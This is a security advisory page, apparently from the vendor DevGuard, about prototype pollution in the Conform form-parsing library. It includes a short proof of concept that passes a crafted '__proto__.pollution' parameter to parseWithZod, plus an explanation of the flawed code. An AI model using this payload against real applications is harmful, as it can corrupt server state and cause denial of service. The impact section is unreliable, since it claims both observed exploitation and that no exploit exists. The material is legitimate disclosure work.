Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-624g-8qjg-8qxf
No affected components available
Summary
Conform allows the parsing of nested objects in the form of object.property. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input to parseWith... functions.
PoC
const { parseWithZod } = require('@conform-to/zod');
const { z } = require("zod");
const param = new URLSearchParams("__proto__.pollution=polluted");
const schema = z.object({ "a": z.string() });
parseWithZod(param, { schema });
console.log("pollution:", ({}).pollution); // should print "polluted"
Details
The invocation of the parseWithZod function in the above PoC triggers the setValue function through getSubmissionContext and parse, executing the following process, resulting in prototype pollution:
let pointer = value;
pointer.__proto__ = pointer.__proto__;
pointer = pointer.__proto__;
pointer.polluted = "polluted";
This is caused by the lack of object existence checking on line 117 in formdata.ts, where the code only checks for the presence of pointer[key] without proper validation.
Impact
Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard